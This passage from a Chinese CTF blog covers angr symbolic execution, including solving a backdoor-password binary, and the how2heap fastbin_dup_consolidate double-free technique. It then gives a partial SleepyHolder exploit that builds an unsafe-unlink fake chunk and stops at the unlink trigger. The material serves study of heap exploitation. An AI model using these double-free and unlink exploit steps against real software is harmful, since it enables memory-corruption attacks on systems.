class="literal">False</span>&#125;)</span><br><span class="line">    <span class="comment"># 这里我加上了 "load_options=&#123;"auto_load_libs": False&#125;"</span></span><br><span class="line">    <span class="comment"># 在load了Project之后可以用p.loader.all_objects查看所有加载器已加载的对象</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># Now, we want to construct a representation of symbolic program state.</span></span><br><span class="line">    <span class="comment"># SimState objects are what angr manipulates when it symbolically executes</span></span><br><span class="line">    <span class="comment"># binary code.</span></span><br><span class="line">    <span class="comment"># SimState对象也主要保存着程序运行到某一阶段的状态信息。通过这个对象可以操作某一运行状态的上下文信息</span></span><br><span class="line">    <span class="comment"># 比如内存，寄存器等</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 可以通过Project.factory这个容器中的任何一个方法来获取SimState对象,这个factory有多个构造函数</span></span><br><span class="line">    <span class="comment"># 如:block、entry_state等。这里使用entry_state返回一个初始化到二进制entry point的SimState对象</span></span><br><span class="line">    <span class="comment"># The entry_state constructor generates a SimState that is a very generic</span></span><br><span class="line">    <span class="comment"># representation of the possible program states at the program's entry</span></span><br><span class="line">    <span class="comment"># point.	 entry_state 主要是做一些初始化工作，然后在程序的入口处停下</span></span><br><span class="line">    <span class="comment"># There are more constructors, like blank_state, which constructs a</span></span><br><span class="line">    <span class="comment"># "blank slate" state that specifies as little concrete data as possible,</span></span><br><span class="line">    <span class="comment"># or full_init_state, which performs a slow and pedantic initialization of</span></span><br><span class="line">    <span class="comment"># program state as it would execute through the dynamic loader.</span></span><br><span class="line">    <span class="comment"># 其中 full_init_state 会从动态链接时开始就记录</span></span><br><span class="line"></span><br><span class="line">    state = p.factory.entry_state()</span><br><span class="line">    <span class="comment"># state对象一般是作为 符号执行开始前创建用来为后续的执行初始化一些数据，比如栈状态，寄存器值。</span></span><br><span class="line">    <span class="comment"># 或者在 路径探索结束后 返回一个 state 对象供用户提取需要的值或进行约束求解</span></span><br><span class="line">    <span class="comment"># 解出到达目标分支所使用的符号量的值。</span></span><br><span class="line">    </span><br><span class="line">    <span class="comment"># 当然了解了符号执行的概念之后就知道为什么有时候要默认在程序入口点停下了，毕竟我们暂时要分析的是程序的执行流</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># Now, in order to manage the symbolic execution process from a very high</span></span><br><span class="line">    <span class="comment"># level, we have a SimulationManager. SimulationManager is just collections</span></span><br><span class="line">    <span class="comment"># of states with various tags attached with a number of convenient</span></span><br><span class="line">    <span class="comment"># interfaces for managing them.</span></span><br><span class="line"></span><br><span class="line">    sm = p.factory.simulation_manager(state)</span><br><span class="line">    <span class="comment"># 根据state设置 Simulation Managers ，这是一个进行路径探索的对象</span></span><br><span class="line">    <span class="comment"># Uncomment the following line to spawn an IPython shell when the program</span></span><br><span class="line">    <span class="comment"># gets to this point so you can poke around at the four objects we just</span></span><br><span class="line">    <span class="comment"># constructed. Use tab-autocomplete and IPython's nifty feature where if</span></span><br><span class="line">    <span class="comment"># you stick a question mark after the name of a function or method and hit</span></span><br><span class="line">    <span class="comment"># enter, you are shown the documentation string for it.</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># import IPython; IPython.embed()</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># Now, we begin execution. This will symbolically execute the program until</span></span><br><span class="line">    <span class="comment"># we reach a branch statement for which both branches are satisfiable.</span></span><br><span class="line"></span><br><span class="line">    sm.run(until=<span class="keyword">lambda</span> sm_: len(sm_.active) &gt; <span class="number">1</span>)</span><br><span class="line">    <span class="comment"># 此示例代码采用的方法是用Simulation Managers的run方法</span></span><br><span class="line">    <span class="comment"># 执行刚好出现 2个分支时就执行完毕，也就是我们后门函数的那个if条件被触发，此时程序产生两个执行分支，随即停止</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># If you look at the C code, you see that the first "if" statement that the</span></span><br><span class="line">    <span class="comment"># program can come across is comparing the result of the strcmp with the</span></span><br><span class="line">    <span class="comment"># backdoor password. So, we have halted execution with two states, each of</span></span><br><span class="line">    <span class="comment"># which has taken a different arm of that conditional branch. If you drop</span></span><br><span class="line">    <span class="comment"># an IPython shell here and examine sm.active[n].solver.constraints</span></span><br><span class="line">    <span class="comment"># you will see the encoding of the condition that was added to the state to</span></span><br><span class="line">    <span class="comment"># constrain it to going down this path, instead of the other one. These are</span></span><br><span class="line">    <span class="comment"># the constraints that will eventually be passed to our constraint solver</span></span><br><span class="line">    <span class="comment"># (z3) to produce a set of concrete inputs satisfying them.</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># As a matter of fact, we'll do that now.</span></span><br><span class="line"></span><br><span class="line">    input_0 = sm.active[<span class="number">0</span>].posix.dumps(<span class="number">0</span>)</span><br><span class="line">    input_1 = sm.active[<span class="number">1</span>].posix.dumps(<span class="number">0</span>)</span><br><span class="line"></span><br><span class="line">    <span class="comment"># We have used a utility function on the state's posix plugin to perform a</span></span><br><span class="line">    <span class="comment"># quick and dirty concretization of the content in file descriptor zero,</span></span><br><span class="line">    <span class="comment"># stdin. One of these strings should contain the substring "SOSNEAKY"!</span></span><br><span class="line"></span><br><span class="line">    <span class="comment"># 当然这里也可以选择把所有分支都打印出来看看,代码:</span></span><br><span class="line">    <span class="comment"># for i in range(len(pathgroup.active)):</span></span><br><span class="line">    <span class="comment">#    print "possible %d: " % i, pathgroup.active[i].state.posix.dumps(0)</span></span><br><span class="line">    <span class="comment"># 此时dump的就是字符串str</span></span><br><span class="line">    <span class="keyword">if</span> <span class="string">b'SOSNEAKY'</span> <span class="keyword">in</span> input_0:</span><br><span class="line">        <span class="keyword">return</span> input_0</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> input_1</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">test</span><span class="params">()</span>:</span></span><br><span class="line">    r = basic_symbolic_execution()</span><br><span class="line">    <span class="keyword">assert</span> <span class="string">b'SOSNEAKY'</span> <span class="keyword">in</span> r</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line">    sys.stdout.buffer.write(basic_symbolic_execution())</span><br><span class="line"></span><br><span class="line"><span class="comment"># You should be able to run this script and pipe its output to fauxware and</span></span><br><span class="line"><span class="comment"># fauxware will authenticate you.</span></span><br></pre></td></tr></table></figure>

<p>其中在创建Project时有这么一个点要注意一下</p>
<blockquote>
<p>auto_load_libs 设置是否自动载入依赖的库，如果设置为 True 的话会自动载入依赖的库，然后分析到库函数调用时也会进入库函数，这样会增加分析的工作量，也有能会跑挂</p>
</blockquote>
<p>eg1的第二个solve代码：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">proj = angr.Project(<span class="string">'eg1'</span>)</span><br><span class="line">state = proj.factory.entry_state()</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    succ = state.step()	<span class="comment"># 一次step记录一次执行分支的state</span></span><br><span class="line">    <span class="keyword">if</span> len(succ.successors) == <span class="number">2</span>:<span class="comment">#这个代码的意思也是在产生两个分支时停下，打印输出用上面代码的注释那段就好</span></span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    state = succ.successors[<span class="number">0</span>]</span><br><span class="line">state1, state2 = succ.successors</span><br></pre></td></tr></table></figure>

<p>这里step函数的返回值是 “an object called <a href="http://angr.io/api-doc/angr.html#module-angr.engines.successors" target="_blank" rel="noopener">SimSuccessors</a>“</p>
<p>当然这里写法还有很多很多，具体强烈推荐参考<a href="https://docs.angr.io/core-concepts/pathgroups" target="_blank" rel="noopener">官方文档</a>，还有<a href="http://angr.io/api-doc/angr.html" target="_blank" rel="noopener">官方API文档</a>，本博客在文末板块会尽量更新一下CTF中碰到的用法，限于英语原因很多原文中的<code>core conception</code>可能本人理解会有误</p>
<p>博主写到这里暂时感觉最好用的函数是这几个：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">simgr.step()<span class="comment">#这个就是上面代码中的，一个分支一个分支的记录也好像挺好用2333</span></span><br><span class="line"></span><br><span class="line">sm.explore(find=<span class="number">0x400591</span>) <span class="comment"># 这个是直接设置符号执行遍历到哪个代码块停下来，很好用</span></span><br><span class="line"></span><br><span class="line">simgr.explore(find=<span class="keyword">lambda</span> s: <span class="string">b"Congrats"</span> <span class="keyword">in</span> s.posix.dumps(<span class="number">1</span>))<span class="comment">#这个是用标准输出中输出了什么来判断，直接用起来也很无脑</span></span><br></pre></td></tr></table></figure>



<h2 id="此道逆向题的angr解法"><a href="#此道逆向题的angr解法" class="headerlink" title="此道逆向题的angr解法"></a>此道逆向题的angr解法</h2><p>中间这些state操作建议先参考文末的设置&amp;变量用法</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> angr</span><br><span class="line"><span class="keyword">import</span> claripy</span><br><span class="line"></span><br><span class="line">p = angr.Project(<span class="string">"./funre"</span>, load_options=&#123;<span class="string">"auto_load_libs"</span>: <span class="literal">False</span>&#125;)</span><br><span class="line">f = p.factory</span><br><span class="line">state = f.entry_state(addr=<span class="number">0x400605</span>) <span class="comment"># 设置state开始运行时运行到的地址</span></span><br><span class="line">flag = claripy.BVS(<span class="string">"flag"</span>, <span class="number">8</span>*<span class="number">32</span>) <span class="comment">#这里设置了一个flag VBS，长度是8*32bit</span></span><br><span class="line">state.memory.store(<span class="number">0x603055</span>+<span class="number">0x300</span>+<span class="number">5</span>, flag) <span class="comment">#因为程序没有输入，所以直接把字符串设置到内存</span></span><br><span class="line">state.regs.rdx = <span class="number">0x603055</span>+<span class="number">0x300</span> </span><br><span class="line">state.regs.rdi = <span class="number">0x603055</span>+<span class="number">0x300</span>+<span class="number">5</span> <span class="comment"># 然后设置两个寄存器</span></span><br><span class="line"></span><br><span class="line">sm = p.factory.simulation_manager(state) <span class="comment"># 准备从该state开始遍历执行路径</span></span><br><span class="line"></span><br><span class="line">print(<span class="string">"[+] init ok"</span>)</span><br><span class="line"></span><br><span class="line">sm.explore(find=<span class="number">0x401DAE</span>) <span class="comment"># 遍历到成功的地址</span></span><br><span class="line"><span class="keyword">if</span> sm.found:</span><br><span class="line">    print(<span class="string">"[+] found!"</span>)</span><br><span class="line">    x = sm.found[<span class="number">0</span>].solver.eval(flag, cast_to=bytes)</span><br><span class="line">    print(x)</span><br></pre></td></tr></table></figure>

<p>我跑下来大概只用了一两分钟时间不到？不过貌似还能加速，这里也介绍一下加速要用到的东西</p>
<h2 id="加速模块安装"><a href="#加速模块安装" class="headerlink" title="加速模块安装"></a>加速模块安装</h2><hr>
<p>注意这里安装的方法本人安装失败了…介于之前装崩python的原因就暂时不继续探究原因了，只不过好像是一个什么版本的问题,具体参考<a href="https://www.secpulse.com/archives/83197.html" target="_blank" rel="noopener">这篇文章</a>末尾</p>
<ol>
<li><code>sudo apt install pypy</code></li>
<li><code>wget https://bootstrap.pypa.io/get-pip.py</code></li>
<li><code>sudo pypy get-pip.py</code></li>
</ol>
<hr>
<p>第二种方法就是在init_state时加上<code>add_options=angr.options.unicorn</code></p>
<h1 id="angr中碰到的一些设置-amp-变量用法"><a href="#angr中碰到的一些设置-amp-变量用法" class="headerlink" title="angr中碰到的一些设置&amp;变量用法"></a>angr中碰到的一些设置&amp;变量用法</h1><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="comment">################## 设置操作</span></span><br><span class="line">state.solver.BVV(<span class="number">1</span>, <span class="number">64</span>) <span class="comment"># 设置一个Bitvector 第一个参数是初始值 第二个参数是长度 也可以用下面简单的写法</span></span><br><span class="line"></span><br><span class="line">args = claripy.BVS(<span class="string">"args"</span>, <span class="number">8</span> * <span class="number">16</span>) <span class="comment"># 用claripy包设置一个符号变量（十六进制字符串）</span></span><br><span class="line"></span><br><span class="line">weird_nine.zero_extend(<span class="number">64</span> - <span class="number">27</span>) <span class="comment"># Bitvector长度转换 这里示意是从27-&gt;64</span></span><br><span class="line"></span><br><span class="line">p.hook(addr=<span class="number">0x08048485</span>, hook=hook_demo, length=<span class="number">2</span>) <span class="comment"># 设置一个hook，address是执行到什么地方之后hook，hook_demo代表一个函数，length是hook_demo执行之后需要跳过的指令长度</span></span><br><span class="line"><span class="comment">#具体的hook操作在以后会慢慢写到</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">################## state操作</span></span><br><span class="line">state.regs.X		<span class="comment"># X代表要操作的寄存器，这里可以设置寄存器的值，此时寄存器的类型是一个Bitvector</span></span><br><span class="line"></span><br><span class="line">hex(state.se.eval(state.regs.X))	<span class="comment"># 想要获取寄存器Bitvector的int值需要使用eval函数来获取 BVS同理</span></span><br><span class="line"></span><br><span class="line">state.mem[state.regs.rsp].qword <span class="comment"># 获取某个寄存器指向的内存 可以看到这里mem的参数也是BVV</span></span><br><span class="line">							 <span class="comment"># 但是返回值是类似这种:&lt;uint64_t &lt;BV64 0xdeadbeefdeadbeef&gt; at 0x7fffffffffeff78&gt;</span></span><br><span class="line">state.se.eval(xxx.qword.resolved) <span class="comment"># 通过eval拿到此地址对应类型的确切值</span></span><br><span class="line"></span><br><span class="line">state.memory.store(state.regs.rsp,data) </span><br><span class="line">state.memory.load(state.regs.rsp, <span class="number">0x40</span>) <span class="comment"># 这里可以直接通过地址来进行存储不一定要寄存器，满足BVV的操作就行</span></span><br><span class="line"></span><br><span class="line">state.posix.dumps(<span class="number">0</span>) <span class="comment"># dump运行时标准输入</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">#################  SimulationManager操作</span></span><br><span class="line">sm = p.factory.simgr(state)</span><br><span class="line">sm.explore(find=<span class="number">0x400591</span>)</span><br><span class="line">st = sm.found[<span class="number">0</span>] <span class="comment"># 通过found[0]拿到的是此时的state，可以再通过上面state的操作dump标准输入</span></span><br><span class="line"></span><br><span class="line">st.se.eval(args,cast_to=str) <span class="comment"># 当然如果用到了 BVS 的话就可以使用cast_to来转成普通字符串了</span></span><br></pre></td></tr></table></figure>

<hr>
<blockquote>
<p>参考文章:<a href="https://www.secpulse.com/archives/83197.html" target="_blank" rel="noopener">https://www.secpulse.com/archives/83197.html</a></p>
</blockquote>
]]></content>
      <tags>
        <tag>angr</tag>
      </tags>
  </entry>
  <entry>
    <title>how2heap - fastbin_dup_consolidate&amp;SleepyHolder</title>
    <url>/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/</url>
    <content><![CDATA[<h1 id="how2heap-fastbin-dup-consolidate-amp-SleepyHolder"><a href="#how2heap-fastbin-dup-consolidate-amp-SleepyHolder" class="headerlink" title="how2heap - fastbin_dup_consolidate&amp;SleepyHolder"></a>how2heap - fastbin_dup_consolidate&amp;SleepyHolder</h1><h1 id="fastbin-dup-consolidate"><a href="#fastbin-dup-consolidate" class="headerlink" title="fastbin_dup_consolidate"></a>fastbin_dup_consolidate</h1><p>写这个题之前先学习了很多前置知识，简略的写一下</p>
<p>how2heap上的 fastbin_dup_consolidate.c：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdint.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line">  <span class="keyword">void</span>* p1 = <span class="built_in">malloc</span>(<span class="number">0x40</span>);</span><br><span class="line">  <span class="keyword">void</span>* p2 = <span class="built_in">malloc</span>(<span class="number">0x40</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocated two fastbins: p1=%p p2=%p\n"</span>, p1, p2);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now free p1!\n"</span>);</span><br><span class="line">  <span class="built_in">free</span>(p1);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">void</span>* p3 = <span class="built_in">malloc</span>(<span class="number">0x400</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Allocated large bin to trigger malloc_consolidate(): p3=%p\n"</span>, p3);<span class="comment">//Here</span></span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"In malloc_consolidate(), p1 is moved to the unsorted bin.\n"</span>);</span><br><span class="line">  <span class="built_in">free</span>(p1);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Trigger the double free vulnerability!\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"We can pass the check in malloc() since p1 is not fast top.\n"</span>);</span><br><span class="line">  <span class="built_in">fprintf</span>(<span class="built_in">stderr</span>, <span class="string">"Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n"</span>, <span class="built_in">malloc</span>(<span class="number">0x40</span>), <span class="built_in">malloc</span>(<span class="number">0x40</span>));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>看这段源码时有一段话：<em>Allocated large bin to trigger malloc_consolidate()</em>，暂时不懂这个是什么所以查阅了很多资料</p>
<h2 id="malloc-consolidate："><a href="#malloc-consolidate：" class="headerlink" title="malloc_consolidate："></a><strong>malloc_consolidate：</strong></h2><p>​        对于malloc_consolidate函数，<code>malloc_consolidate()</code> 是 <code>free()</code> 的一个小的变体，专门用于<strong>处理 fastbin 中的空闲 chunk</strong>。同时还负责<strong>堆管理的初始化工作</strong></p>
<p><strong>未初始化：</strong></p>
<p>​        进入 <code>malloc_consolidate()</code> ，首先通过  <code>get_max_fast()</code> 判断当前堆是否已经初始化。当进程第一次调用 <code>malloc()</code> 申请分配的时候，<code>get_max_fast()</code> 返回值等于 0，此时会进行堆的初始化工作</p>
<p>​        在 <code>malloc_init_state()</code> 里会进行堆的初始化工作，并且会调用<code>set_max_fast()</code> 设置 <code>global_max_fast</code> 为 DEFAULT_MXFAST ，DEFAULT_MXFAST 在 32 位系统上为 64，在 64 位系统上为 128。因而在以后进入 <code>malloc_consolidate()</code> 的时候 <code>get_max_fast()</code> 返回值都不会等于 0，保证不会重复进行堆的初始化工作</p>
<p><strong>已初始化：</strong></p>
<p>​        如果 <code>get_max_fast()</code> 返回值不等于 0，说明堆已经初始化，接下来就将 fastbin 中的每一个 chunk 合并整理到 unsorted_bin 或 top_chunk。</p>
<p>​        其中对每一个 chunk，首先尝试向后合并，然后调用 <code>unlink()</code> 宏将后方 chunk 从其链接的 bin 中脱链（<em>然后看到这里又去查阅了很多向前合并和向后合并的知识，具体见下文</em>）</p>
<ol>
<li>若 <code>get_max_fast()</code> 返回 0，则进行堆的初始化工作，然后进入第 7 步</li>
<li>从 fastbin 中获取一个空闲 chunk</li>
<li>尝试向后合并</li>
<li>尝试向前合并，若向前相邻 top_chunk，则直接合并到 top_chunk，然后进入第 6 步</li>
<li>否则向前合并后，插入到 unsorted_bin 中</li>
<li>获取下一个空闲 chunk，回到第 2 步，直到所有 fastbin 清空后进入第 7 步</li>
<li>退出函数</li>
</ol>
<p>原文链接：<a href="https://blog.csdn.net/plus_re/article/details/79265805" target="_blank" rel="noopener">https://blog.csdn.net/plus_re/article/details/79265805</a></p>
<h2 id="向后合并："><a href="#向后合并：" class="headerlink" title="向后合并："></a><strong>向后合并：</strong></h2><ul>
<li>检查p指向chunk的size字段的pre_inuse位，是否为0（也就是检查当前chunk的前一块chunk是否是free的，如果是则进入向前合并的流程)</li>
<li>获取前一块chunk的size，并加到size中（以此来表示size大小上已经合并）</li>
<li>根据当前chunk的presize来获得指向前一块chunk的指针</li>
<li>将这个指针传入unlink的宏（也就是让free掉的chunk的前一块chunk进入到unlink流程）</li>
</ul>
<h2 id="向前合并："><a href="#向前合并：" class="headerlink" title="向前合并："></a><strong>向前合并：</strong></h2><p>如果free掉的chunk相邻的下一块chunk (下面用nextchunk表示，并且nextsize表示它的大小) 不是topchunk,并且是free的话就进入向前合并的流程。</p>
<p>如果nextchunk不是free的，则修改他的size字段的pre_inuse位。<br>如果nextchunk是topchunk则和topchunk进行合并。</p>
<p>ps:检测nextchunk是否free，是通过 <code>inuse_bit_at_offset(nextchunk, nextsize)</code> 来<strong>获得nextchunk的相邻下一块chunk的size字段的presize位实现的</strong>。</p>
<p>向前合并流程：</p>
<ul>
<li>让nextchunk进入unlink流程</li>
<li>给size加上nextsize（同理也是表示大小上两个chunk已经合并了）</li>
</ul>
<p>原文链接：<a href="https://bbs.ichunqiu.com/thread-46614-1-1.html?from=bkyl" target="_blank" rel="noopener">https://bbs.ichunqiu.com/thread-46614-1-1.html?from=bkyl</a></p>
<p>接着又学到了<code>unlink()</code>的一些东西</p>
<h2 id="unlink："><a href="#unlink：" class="headerlink" title="unlink："></a><strong>unlink：</strong></h2><p>把源码一拖稍微缕了缕，大致如下：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">unlink(AV, P, BK, FD)<span class="comment">//P是指向本chunk的指针</span></span><br><span class="line">&#123;</span><br><span class="line">	<span class="keyword">if</span> (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), <span class="number">0</span>))</span><br><span class="line">		malloc_printerr (<span class="string">"corrupted size vs. prev_size"</span>);</span><br><span class="line">    <span class="comment">//检查本chunk的size和next chunk的prev_size段是否相等，排除了fast chunk</span></span><br><span class="line"></span><br><span class="line">	FD = P-&gt;fd;<span class="comment">//P+0x10</span></span><br><span class="line">	BK = P-&gt;bk;<span class="comment">//P+0x18 FD和BK分别指向forward chunk和back chunk</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (__builtin_expect (FD-&gt;bk != P || BK-&gt;fd != P, <span class="number">0</span>))</span><br><span class="line">    	malloc_printerr (<span class="string">"corrupted double-linked list"</span>);</span><br><span class="line">    <span class="comment">//检查前chunk的bk和后chunk的fd是否与P相等</span></span><br><span class="line">	<span class="keyword">else</span></span><br><span class="line">	&#123;</span><br><span class="line">		FD-&gt;bk = BK;</span><br><span class="line">		BK-&gt;fd = FD;<span class="comment">//链表的卸下操作</span></span><br><span class="line">        </span><br><span class="line">        	<span class="keyword">if</span> (!in_smallbin_range (chunksize_nomask (P))&amp;&amp;</span><br><span class="line">         	   __builtin_expect (P-&gt;fd_nextsize != <span class="literal">NULL</span>, <span class="number">0</span>))<span class="comment">//当链表为large bin且fd_nextsize不为空</span></span><br><span class="line">        	&#123;</span><br><span class="line">			<span class="keyword">if</span> (__builtin_expect (P-&gt;fd_nextsize-&gt;bk_nextsize != P, <span class="number">0</span>)</span><br><span class="line">				|| __builtin_expect (P-&gt;bk_nextsize-&gt;fd_nextsize != P, <span class="number">0</span>))</span><br><span class="line">				malloc_printerr (<span class="string">"corrupted double-linked list (not small)"</span>);</span><br><span class="line">                		<span class="comment">//检查前chunk的bk_nextsize和后chunk的fd_nextsize是否与P相等</span></span><br><span class="line">            </span><br><span class="line">			<span class="keyword">if</span> (FD-&gt;fd_nextsize == <span class="literal">NULL</span>)</span><br><span class="line">			&#123;</span><br><span class="line">				<span class="keyword">if</span> (P-&gt;fd_nextsize == P)	FD-&gt;fd_nextsize = FD-&gt;bk_nextsize = FD;</span><br><span class="line">				<span class="keyword">else</span></span><br><span class="line">				&#123;</span><br><span class="line">				   FD-&gt;fd_nextsize = P-&gt;fd_nextsize;</span><br><span class="line">                		   FD-&gt;bk_nextsize = P-&gt;bk_nextsize;</span><br><span class="line">                		   P-&gt;fd_nextsize-&gt;bk_nextsize = FD;</span><br><span class="line">                		   P-&gt;bk_nextsize-&gt;fd_nextsize = FD;</span><br><span class="line">				&#125;                                                              </span><br><span class="line">            		&#125;</span><br><span class="line">           	 <span class="keyword">else</span>&#123;</span><br><span class="line">            	 	P-&gt;fd_nextsize-&gt;bk_nextsize = P-&gt;bk_nextsize;</span><br><span class="line">			P-&gt;bk_nextsize-&gt;fd_nextsize = P-&gt;fd_nextsize;&#125;                                                                                         </span><br><span class="line">		&#125;</span><br><span class="line">	&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>这其中对于large chunk中<code>fd_nextsize</code>还有<code>bk_nextsize</code>的一些利用解释起来有点多</p>
<p>给个链接自己以后方便查阅吧：<a href="https://blog.csdn.net/Plus_RE/article/details/79270350" target="_blank" rel="noopener">https://blog.csdn.net/Plus_RE/article/details/79270350</a></p>
<h2 id="Debug"><a href="#Debug" class="headerlink" title="Debug"></a>Debug</h2><p>接下来自己debug一下fastbin_dup_consolidate.c</p>
<p><strong>free掉p1之后：</strong></p>
<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580374267214.png" width="60%" height="60%">

<p>然后malloc一个large chunk触发<code>malloc_consolidate()</code>，我这里和how2heap上不同的是这个fast chunk被放入了<code>smallbins</code>而不是<code>unsortedbin</code>，不过好像对于double free的利用暂无大碍（此处待深入）</p>
<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580375108795.png" width="60%" height="60%">

<p>再次调用<code>free(p1)</code></p>
<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580375318508.png" width="60%" height="60%">

<p>此时在fastbins还有smallbins中都存在这个chunk，从而在<code>malloc(0x40)</code>两次时double free的利用被触发，先取fastbin、再取smallbin</p>
<h1 id="SleepyHolder"><a href="#SleepyHolder" class="headerlink" title="SleepyHolder"></a>SleepyHolder</h1><h2 id="程序分析"><a href="#程序分析" class="headerlink" title="程序分析"></a>程序分析</h2><img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580375767478.png" width="70%" height="70%">

<p>一上来先malloc了一个size随机的chunk，然后进入正常的菜单</p>
<h3 id="Keep"><a href="#Keep" class="headerlink" title="Keep"></a>Keep</h3><img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580375954105.png" width="60%" height="60%">

<p>选择一个固定大小的small、big、huge大小的secret，然后calloc，对应的每个secret只能calloc一次，然后把ptr存在bss段上，通过记录来实现无法多次calloc</p>
<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580377392403.png" width="80%" height="80%">

<h3 id="Wipe"><a href="#Wipe" class="headerlink" title="Wipe"></a>Wipe</h3><img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580384309728.png" width="50%" height="50%">

<p>选择small、big secret来free（没有huge），并清除记录，没有清除ptr，也没有检查是using or not</p>
<h3 id="Renew"><a href="#Renew" class="headerlink" title="Renew"></a>Renew</h3><img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580384570255.png" width="50%" height="50%">

<p>选择small、big secret，检查标记后通过read renew</p>
<h2 id="Exploit"><a href="#Exploit" class="headerlink" title="Exploit"></a>Exploit</h2><p>首先keep一个small secret，然后keep一个big secret（防止wipe时small secret被merge到top_chunk中去），wipe small secret使其链入fastbin之后keep一个huge secret（trigger malloc_consolidate），这时small secret进入smallbins（并且big secret的prev_inuse位被更改，使得后续进行unlink利用），第二次wipe small secret，构成double free(主要是为了keep一次small secret之后big secret的prev_inuse不被更改，而又能对small secret进行操作)，代码&amp;heap图如下所示</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">keep(<span class="number">1</span>,<span class="string">'aaaaaaaa'</span>)<span class="comment">#keep small secret</span></span><br><span class="line">keep(<span class="number">2</span>,<span class="string">'bbbbbbbb'</span>)<span class="comment">#keep big secret</span></span><br><span class="line">wipe(<span class="number">1</span>)<span class="comment">#wipe small</span></span><br><span class="line">keep(<span class="number">3</span>,<span class="string">'cccccccc'</span>)<span class="comment">#keep huge</span></span><br><span class="line">wipe(<span class="number">1</span>)<span class="comment">#wipe small Double freed now</span></span><br></pre></td></tr></table></figure>

<img src="/2020/01/31/how2heap-fastbin-dup-consolidate-SleepyHolder/1580473233821.png" width="50%" height="50%">

<p>接着keep small secret，填入一个fake chunk，接下来会wipe big secret，此时prev_inuse依然为0(因为fastbin里面的操作不会修改这个位)，会向后合并这个fake chunk并trigger unlink，为了绕过unlink的检测机制，我们现在在bss段上刚好有一个指向这个fake chunk的指针——small_ptr（即这个chunk data部分的指针），所以根据fd和bk指针的偏移，fake chunk填入的内容应该是p64(0)+p64(0x21)+p64(&amp;small_ptr-0x18)+p64(&amp;small_ptr-0x10)+p64(0x20)</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">f_ptr = <span class="number">0x6020d0</span><span class="comment">#small_ptr</span></span><br><span class="line">fake_chunk = p64(<span class="number">0</span>) + p64(<span class="number">0x21</span>)<span class="comment">#fake chunk [prev_size,size]</span></span><br><span class="line">fake_chunk += p64(f_ptr - <span class="number">0x18</span>) + p64(f_ptr<span class="number">-0x10</span>)<span class="comment">#[fd,bk]</span></span><br><span class="line">fake_chunk += <span class="string">'\x20'</span><span class="comment">#fake [prev_size]</span></span><br><span class="line">keep(<span class="number">1</span>, fake_chunk,huge=<span class="literal">False</span>)</span><br></pre></td></tr></table></figure>

<p>接着wipe big secret，trigger unlink，因为对unlink暂时不是很熟，所以记录一下细节。如下：</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line">wipe(<span class="number">2</span>)</span><br></pre></td></tr></table></figure>

